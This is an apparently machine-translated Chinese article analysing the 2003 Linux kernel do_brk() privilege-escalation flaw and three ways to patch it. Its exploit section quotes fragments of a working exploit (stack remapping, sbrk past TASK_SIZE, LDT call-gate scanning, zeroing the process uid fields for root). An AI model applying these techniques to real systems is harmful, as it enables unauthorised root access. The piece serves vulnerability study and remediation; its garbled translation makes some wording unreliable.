Brk vulnerability analysis and remediation-vulnerability and early warning-the black bar safety net

ID MYHACK58:62200819846
Type myhack58
Reporter 佚名
Modified 2008-07-28T00:00:00



brk vulnerability analysis A little out of date music at: I hope everyone also can be a little.

Brk vulnerability analysis by icbm@0x557

  1. brk loopholes in the background
  2. The vulnerability principle analysis
  3. Exploit analysis
  4. The vulnerability is caused by thinking

Brk vulnerability analysis

  1. brk loopholes in the background
  2. The vulnerability principle analysis
  3. Exploit analysis
  4. The vulnerability is caused by thinking

Preface: 1 1 on 2 1, in the Full-Disclosure mailing list receive an email with the Debian Linux security team sent to the entitled"Some Debian Project machines have been compromised"the security Bulletin. The security Bulletin that is mentioned in Debian multiple servers being invaded, it is strange that which is not mentioned any invasion of the details just to say a few days after the publication of being invaded by a host of forensic results. This announcement has caused us great interest, because Debian Linux security is very good, the attacker certainly uses some unknown vulnerability to obtain the administrator privileges, after a few days and finally was informed that the attacker uses is this article will be the analysis of the vulnerability do_brk()bounds checking is not sufficient to cause a local elevation of privilege vulnerability. Because of this vulnerability of the system to produce the effects is very rare, so we can even define this vulnerability as a new vulnerability types. In the following pages, we have thus the vulnerability of the background, causes, using the method discussed.

  1. brk loopholes in the background

In the analysis of the vulnerability before the first look at some background information, maybe we can from these background information can be found some useful stuff:) In fact, this brk loopholes in this year 9 month was the Linux kernel developers found, and in 9 the end of the month release of Linux kernel 2.6.0-test6 on the vulnerability for the repair. The strange thing is Linux Kernel developers may think that this vulnerability is not a serious problem, so for the vulnerability found the patch did not make any safety announcements, so lightly handling security vulnerabilities move to make the Linux system administrator completely failed to note this vulnerability exist not to mention that the system fixes this vulnerability. While in 2 0 0 3 year 9 at the end of the time, isec Paul (IhaQueR) Starzetz also discovered this vulnerability, isec for this vulnerability to conduct a detailed analysis and of the vulnerability method of attack for in-depth study, write out the brk vulnerability is very stable and effective attack program. Because the attack program leakage, so that an attacker using this attack program to obtain the Debian servers administrator permissions. 1 1 on 2 8, The Linux kernel introduced 2. 4. 2 3 version only patched this vulnerability,so far after more than two months this vulnerability is in the Linux stable version of the kernel patch.

  1. The vulnerability principle analysis

In the analysis of this vulnerability before we take a brief look at the Linux memory management knowledge. In Linux, every process can access the 0-4G of virtual linear memory address, and wherein the 0-3G 0xc0000000 user space,user process can access any one address. This maximum value of 0xc0000000 on Linux is generally defined as TASK_SIZE, this value is the user space can access the limit. From 3G-4G of virtual memory address space for the kernel mode address space, wherein the data stored by all processes share but only by the kernel access, the user process can not access. The user process can be via an interrupt or system call so that theoperating systemof the user mode switch to kernel mode to access kernel state data. If readers want to know more about Linux memory management knowledge can be read with reference to 1. Ok,now we have the Linux memory management concepts, we can boldly imagine: if we can, through certain operations, or certain Linux operating system vulnerability to break the TASK_SIZE limit will appear what situation? Well, by the way, this time we can access to kernel sensitive data, through these sensitive data, the operation can obtain the system highest authority. Then let us return to the discussion of the brk vulnerability, the vulnerability is found in the brk system call. brk system call the user process, the size of the heap, the heap is expanded or reduced. We first take a break from the Linux kernel source code to extract the system call sys_brk part of the source code.

--------------------[linux/mm/mmap. c line:1 4 7]----------------------------------------------

asmlinkage unsigned long sys_brk(unsigned long brk) { unsigned long rlim, retval; unsigned long newbrk, oldbrk; struct mm_struct *mm = current->mm;


if (brk < mm->end_code) goto out; newbrk = PAGE_ALIGN(brk); oldbrk = PAGE_ALIGN(mm->brk); if (oldbrk == newbrk) goto set_brk;

/ Always allow shrinking brk. / if (brk <= mm->brk) { if (! do_munmap(mm, newbrk, oldbrk-newbrk)) goto set_brk; goto out; }


/ Ok, looks good - let it rip. / if (do_brk(oldbrk, newbrk-oldbrk) != oldbrk) //here you can see the real stack operation is the do_brk()function goto out; set_brk: mm->brk = brk; out: retval = mm->brk; up_write(&mm->mmap_sem); return retval;

--------------------[linux/mm/mmap. c end]-----------------------------------------------------

Everyone to see the system call sys_brk the source code can be found actually inside it is called the do_brk()function to the heap to operate, let's take a look at the do_brk()function of the source code take a look at this bug really is how to produce;)

--------------------[linux/mm/mmap. c line:1 0 3 3]----------------------------------------------

unsigned long do_brk(unsigned long addr, unsigned long len) { struct mm_struct * mm = current->mm; struct vm_area_struct * vma, * prev; unsigned long flags; rb_node_t ** rb_link, * rb_parent;

len = PAGE_ALIGN(len); if (! len) return addr;

/ * mlock MCL_FUTURE? / if (mm->def_flags &VM_LOCKED) { unsigned long locked = mm->locked_vm << PAGE_SHIFT; locked += len; if (locked > current->rlim[RLIMIT_MEMLOCK]. rlim_cur) return-EAGAIN; }

/ * Clear old maps. this also does some error checking for us / munmap_back: vma = find_vma_prepare(mm, addr, &prev, &rb_link, &rb_parent); if (vma && vma->vm_start < addr + len) { if (do_munmap(mm, addr, len)) return-ENOMEM; goto munmap_back; }

/ Check against address space limits after clearing old maps... / if ((mm->total_vm << PAGE_SHIFT) + len > current->rlim[RLIMIT_AS]. rlim_cur) return-ENOMEM;

if (mm->map_count > max_map_count) return-ENOMEM;

if (! vm_enough_memory(len >> PAGE_SHIFT)) return-ENOMEM;

flags = VM_DATA_DEFAULT_FLAGS | mm->def_flags;/ Can we just expand an old anonymous mapping? / if (rb_parent && vma_merge(mm, prev, rb_parent, addr, addr + len, flags)) goto out;

/ * create a vma struct for an anonymous mapping / vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL); if (! vma) return-ENOMEM; ...... }

/ Build the RB tree corresponding to the VMA list. / void build_mmap_rb(struct mm_struct * mm) { struct vm_area_struct * vma; rb_node_t ** rb_link, * rb_parent;

mm->mm_rb = RB_ROOT; rb_link = &mm->mm_rb. rb_node; rb_parent = NULL; for (vma = mm->mmap; vma; vma = vma->vm_next) { __vma_link_rb(mm, vma, rb_link, rb_parent); rb_parent = &vma->vm_rb; rb_link = &rb_parent->rb_right; } }

--------------------[linux/mm/mmap. c end]----------------------------------------------

From the code above we can see the do_brk()function in the adjustment process, the size of the heap when not on the parameter len to any inspection no of addr+len exceeds TASK_SIZE do check. So that we can submit to it any the size of the parameter len, enable users to process the size of any change as well as can be over TASK_SIZE limits so that the system thinks the kernel range of memory space can also be accessed by the user, so normal users can access to the kernel memory area. Well, now we analyze why this do_brk()the emergence of such vulnerability, also discussed this vulnerability will have any impact, but we are more concerned about is if we access the kernel memory area, we're going to do what work we can get what information, how to modify the kernel information in order to enhance our permission? Let's aim at the exploitation of this vulnerability.

  1. Exploit analysis The Debian server is after the attack many security experts are in the study discussing the brk vulnerability, from the above background material, know the beginning of the kernel developers found the exploit and the delay in making the repair also did not make any announcement, one reason is that this type of vulnerabilities are very rare, and may be considered a new type of vulnerability. This can be extended the user can access the memory area to the kernel memory area of Vulnerability in the previous and have not been widely studied discussed, but also for this vulnerability the impact that can not be directly observed. There is, this vulnerability can be used is also never proven, and this vulnerability impacts in the kernel, using this vulnerability method does not like under Linux the use of buffer vulnerabilities that directly, involves many aspects, more increased use of this vulnerability difficult. While isec has keenly observed this vulnerability in the Linux kernel security of serious harm, in this new vulnerability types the use of an in-depth study, and developed several makes use of such loopholes as possible and to improve the attack program stability Technology, 1 2 the beginning they released about this vulnerability using the method of detailed analysis and attack programs. 1 1 the end of the month when we and HD Moore in-depth discussion on this vulnerability using the method with the possibility, made some use of this vulnerability ideas and questions, because the isec released documents perfect answer to our problem, in this document in regard to our proposed questions as a clue to describe this new type of vulnerability the attack techniques. Question 1: Because it was in the bugtraq posting on the one about the vulnerability, poc code, but this poc code is not directly using do_brk()function to trigger this vulnerability but the use of a structured deformity of the elf file to trigger this vulnerability, after our discussion considers the direct use of do_brk()system call than using the structure of the elf file to trigger this vulnerability is more simple, the next question is how to use the brk system call to trigger this vulnerability. Question 2: How to the extended memory area to write data, then test several methods are unsuccessful, when HD Moore believes that the absolute can be to the kernel area write 4 bytes. I asked whether can directly use ptrace to read the extended memory area, but test a bit do not know what reasons did not succeed. Question 3: If we can send kernel to write data, we want to write some what things? Where to write? With kkqq discussion of the results is the easiest way to find the current and then direct uid=0;indeed a good method. But how are we going to find udi,gid,EUID has been? Question 4: Because when the user process memory area is extended to the kernel memory area, the system will think that this part of the core area is also the user process memory area, so when the process exits or is interrupted when exiting, the system will release this part of the memory so that it will destroy this piece of kernel memory region that the system crash. So how to ensure the use of this vulnerability when maintaining the system itself, the stability is also a problem. Let's look at the isec using what kind of techniques to solve these puzzles: Problem 1 solution: Because the use of the brk vulnerability extended processes of the memory range, the memory range can not have any has been mapped over the memory. But we know the process stack address range is in the TASK_SIZE below, you want to use the brk vulnerability to break through the TASK_SIZE limit, you have to put that to a segment of memory range to move away from next to TASK_SIZE place, what to do? Is to the process of re-allocation of a stack starting address, from the isec to provide the exp, we can see: void remap(void) { static char stack[8 MB]; / new stack / ...... asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));//cool, the get a new stack. movl statck+8M, %esp b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK; if (munmap((void)b, task_size - b) == -1) fatal("Unable to unmap stack"); ...... } First allocate an 8MB static space, then the stack+8MB of the address into esp and let the stack pointer point to the new memory space, which is the process to get a new stack. Then unmap off a segment of memory, so that we can use this loophole to put the Address Extension to the TASK_SIZE or more. Because you can not use the brk system call once it is over TASK_SIZE limits, you can use sbrk()to time a short way to cross this TASK_SIZE it. /critical code here, exploit the brk vul*/ void expand(void) { unsigned top = (unsigned) sbrk(0);//You can use sbrk(0)to get the current heap address unsigned limit = address + PAGE_SIZE; do { if (sbrk(PAGE_SIZE) == NULL) //each extension 4k the size of the memory area fatal("Kernel seems not to be vulnerable"); dontexit = 1; top += PAGE_SIZE; } while (top < limit); } Ok,we know how to trigger this vulnerability after the next look at to just get this block greater than TASK_SIZE memory area to write data.

Problem 2 solutions: See the isec of the vulnerability using the method described, found previously we discussed the use of the ptrace method is also feasible, but ignore the little ordinary user process because the permissions are not enough or cannot access the kernel of the page, you need to change these kernel uses the memory page attributes. We can use the mprotect()system call for us to complete this work.

void knockout(void) { unsigned * addr = (unsigned *) address; if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) //put addr refers to the page of the attribute changed to read-write. fatal("Unable to change page protection"); ...... } So we can change the kernel page read and write operations.

Problem 3 solutions: Now we can extend the process memory range exceeds TASK_SIZE and also modify the kernel page of the attribute to be read-write. Next we want to solve the problem is how to get the kernel to run the permissions to modify the kernel in page. Isec one method used is through the use of ldt call gate to access from the normal user privileges to kernel privileges of conversion. But how to find the process in the ldt address? You can scan the ldt table for allocation and distribution after the memory is mapped to the case to find the ldt the exact address. Specific code is as follows: void find(unsigned * m) { unsigned addr = task_size; unsigned bit = 1; unsigned count; unsigned tmp;prepare(); tmp = address = count = 0U; while (addr < TOP_ADDR) { int val = testaddr(addr);//use the asm ("verr (%%eax)" : : "a" (addr));to determine whether the page is mapped if (val == MAP_ISPAGE && (*m &bit) == 0) {//if this page is already mapped and the last bit is not 1 if (! tmp) tmp = addr; count++;//calculate the mapping of the page numbers } else { if (tmp && count == LDT_PAGES) { errno = EAGAIN; if (address) fatal("double allocation\n"); address = tmp; } tmp = count = 0U; } addr += PAGE_SIZE; next(m, bit); } signal(SIGSEGV, SIG_DFL); if (address) return; errno = ENOTSUP; fatal("Unable to determine kernel address"); } Because the previous map()function has put this segment of memory area of each page of the final position of 1, So when the ldt table is assigned after the ldt table occupies memory pages are not marked so you can find the ldt table of the exact location. About ldt call gate detailed content the reader can read the reference by 2.

Now through the call gate we can modify the kernel in any of the content, but to modify the kernel that the data structure will enable us to enhance the permissions? Well, actually just like previously mentioned, If can directly rewrite the uid can be, and now we face the difficulties is how to find it. Let's look at the isec of the exp used in the method: asmlinkage void kernel(unsigned * task) { unsigned * addr = task; / looking for uids / while (addr[0] != uid || addr[1] != the uid || addr[2] != uid || addr[3] != uid) addr++;//this while is used to looking for us to rewrite the uid address addr[0] = addr[1] = addr[2] = addr[3] = 0; / uids / addr[4] = addr[5] = addr[6] = addr[7] = 0; / uids / addr[8] = 0; ...... } Here we can see that the code is in memory to find the uid, EUID has been,suid,fsuid with the getuid()is equal to the memory address, then the uid, EUID has been,suid,fsuid,gid,egid,sgid,fsgid are changed to 0, so the process will get the super user permissions, because the EUID has been the equivalent is also modified, so use the execve()system call the calling process also will have super-user permissions.

  1. The vulnerability is caused by thinking Now let us look at the vulnerability impact, because the Linux kernel developers not on this vulnerability to make timely announcements, so many administrators not aware of this vulnerability, the danger, of course, Debian is attacked later sure everyone should know this loophole out of it: and in vulnerability is not prior to the announcement of the attack program has been a massive leak, the irc there have been many people in the discussion to attack the program using the method that the attacker has to get to attack the program and administrators but even the loopholes are not aware of the case of a serious threat to the use of the Linux system user security. Because of this vulnerability lightly treated so as to produce such a result. We can from this event learning to the system in any of the exploit are not to be taken lightly. In addition, because this vulnerability is a new type of vulnerability, this vulnerability research and discovery and did not fully expand, so that this type of vulnerability is possible in the system kernel again to be found. Other system kernel may also exist in the same similar problems. When everyone after reading this article, then the next time you encounter the same vulnerability, it will no longer have the strange feeling, and maybe find the next vulnerability is you. Finally, wish everyone in the New Year to play the“worm”!

brk repair

Preface: This brk loopholes in this year 9 month was the Linux kernel developers with some security personnel found, but the kernel developers have ignored the vulnerability of the hazard so that the majority of Linux administrators simply did not perceive the vulnerability, resulting in the vulnerability in the an attacker to Debian and Gentoo the attack action plays an important role. About the the vulnerability a detailed description of the information clear see in another article. Because of the vulnerability of the attack Code have been mass public, so serious impact to the Linux system security. In such a critical situation your system patched?

Preface: This brk loopholes in this year 9 month was the Linux kernel developers with some security personnel found, but the kernel developers have ignored the vulnerability of the hazard so that the majority of Linux administrators simply did not perceive the vulnerability, resulting in the vulnerability in the an attacker to Debian and Gentoo the attack action plays an important role. About the the vulnerability a detailed description of the information clear see in another article. Because of the vulnerability of the attack Code have been mass public, so serious impact to the Linux system security. In such a critical situation your system patched?

brk vulnerability is a hazard of very serious local vulnerability, because this vulnerability is a new type of vulnerability can bypass the buffer overflow patches and some kernel security-enhanced kernel patch, cause as long as the attacker can get to any local user access permissions can be in 2. 4. 2 3 the kernel of the following Linux on system to obtain administrator privileges. So the best defense is to not let the attacker get any can access the local system privileges, but this is the most ideal situation. If we have to provide users with some of the local access or the system user is more likely to be the attacker to gain a local account, so to the system patched is still very necessary. Next We from the several aspects to discuss three for the vulnerability patching programme, and hope that readers can from the following programs in the Find a suitable own solution: The first scenario: The most fundamental method is to directly upgrade the kernel to 2. 4. 2 and 3, thus repair of this brk loopholes in www. kernel. org download 2. 4. 2 3 The complete source code or download directly 2. 4. 2 3 patch! in. Although this method seems very simple in fact, administrators still need to take into account many factors, such as compatibility issues, because the kernel changes the kernel of some data structure is changed some of the specific hardware driver will not be compatible, and upgrade the new kernel to take into account some of the application whether it can run properly. There are some cases that if such upgrade the kernel you need to re-compile and configure the kernel, you then need to restart the machine in order to the new kernel to boot the system, thus making this scheme the administrator has brought more trouble. Programme summary: the most fundamental solution, if there is no compatibility issues with the management of the problem this should be the solution to this vulnerability is the best solution. The second scenario: This scheme can avoid some of the compatibility issues, is to patch the original kernel has a vulnerability to the source code. From a code standpoint to patch the vulnerability is actually very simple just in mmap. c in the do_brk()added a few lines to determine the parameters of the statement, check whether the parameter is a normal value if not return a-EINVAL to:

if ((addr + len) > TASK_SIZE || (addr + len) < addr){ / check whether more than a TASK_SIZE border or len whether the value is negative/ printk("caught do_brk exploit!!!\ n"); return-EINVAL; }

This kind of direct modifications to the kernel source code of the program that is currently running on the server applications or the server hardware is not compatibility of the trouble, but still have to re-compile the configured kernel and restart the machine in order to use the new kernel so did not reduce administrative hassles. Option two summary: The program because it is only in the original kernel on the basis of the patched vulnerabilities in the code, thus making the patch for the vulnerability and no compatibility troubles, if the user is afraid of compatibility problems can choose this scheme. The first three solutions: This program's goal is to achieve”on the fly”effect, that is, without restarting the server in case of Dynamic to the system patched. In fact, is the use of some lkm technology looking for all the do_brk calls call or jump)and there is a vulnerability in the do_brk the address of replacement for our own patch flies my_brk it. In my_brk()we first determine the input parameters is correct,if correct then call the original do_brk (), in fact this method is just like some kernel backdoors replace system calls, let's look at the patched source code:

unsigned long my_brk(unsigned long addr, unsigned long len) { len = PAGE_ALIGN(len); if (! len) return addr;

if ((addr + len) > TASK_SIZE || (addr + len) < addr){ / check whether more than a TASK_SIZE border or len whether the value is negative/ printk("caught do_brk exploit!!!\ n"); return-EINVAL; } return do_brk(addr,len); /call the original do_brk()/ }

Above this a few words is our new do_brk()function my_brk(),the following let us briefly look at the patch is how to find the kernel all calls to do_brk place and replace it with: ptr=(unsigned char )(do_brk); / first get the do_brk address / newptr=(unsigned char )(my_brk); / my_brk address/ for (cptr=start;cptr if (cptr==0xe8||cptr==0xe9){ / determine whether 0xe8 or 0xe9 is a call or a jump/ cptr++; lptr=(long )cptr; cptr+=4; if ((cptr+lptr)==(ptr)){ / is point to do_brk/ printk("fixing 0x%08lx\n",lptr); /if this is the cover for the new my_brk / *lptr=(newptr-cptr);

Programme three-summary: The program can”on the fly”for the kernel patch does not need to re-download a new kernel, also no need to re-compile configuration kernel only need to put the patch module insmod into the kernel on the line of the module, see the accompanying compact disc, although this programme has so many benefits but still there are some issues that need attention, add this module after the may affect the stability of the system and certainly will reduce the system operating speed.

Above is our from compatibility, easy scalability, system stability and other aspects are explored to everyone recommended of the three options, I think which is certainly perfect for you: want to the reader from the can learn to to the Linux system, patching some knowledge, so that everyone can understand the system patches how to patch the system, so that later you can improve overall system security.